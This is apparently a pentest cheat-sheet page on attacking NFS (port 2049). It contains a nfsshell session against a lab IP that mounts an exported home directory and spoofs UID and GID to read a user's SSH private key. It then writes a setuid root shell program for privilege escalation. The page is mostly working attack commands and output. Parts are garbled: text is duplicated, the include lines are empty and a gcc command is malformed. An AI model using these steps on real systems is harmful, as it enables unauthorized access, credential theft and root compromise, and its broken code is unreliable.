2049 - NFS
NFS security is partially based on the remote user mounting the filesystem having the same UID (User ID) and GID (Group ID) as the owner of that share.
Last updated
NFS security is partially based on the remote user mounting the filesystem having the same UID (User ID) and GID (Group ID) as the owner of that share.
Last updated
groupadd --gid 1005 peter
adduser peter --uid 101 --gid 1005root@kali:/opt/nfsshell# ./nfsshell
nfs> host 192.168.0.45
Using a privileged port (1021)
Open 192.168.0.45 (192.168.0.45) TCP
nfs> export
Export list for 192.168.0.45:
/home/karl *
nfs> mount /home/karl
Using a privileged port (1020)
Mount `/home/karl', TCP, transfer size 65536 bytes.
nfs> ls -l
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 ..
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .bash_history
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .bash_logout
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .bashrc
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .lesshst
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .profile
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .ssh
nfs> cd .ssh
nfs> ls
Readdir failed: Permission denied
nfs> uid 1001
nfs> gid 1001
nfs> ls
.
..
authorized_keys
id_rsa
id_rsa.pub
user.txt
nfs> cat << EOF >> shell.c
> #include
> #include
> #include
> #include
> int main()
> {
> setuid(0);
> system("/bin/bash");
> return 0;
> }
> EOF
gcc shell.c shell
./shell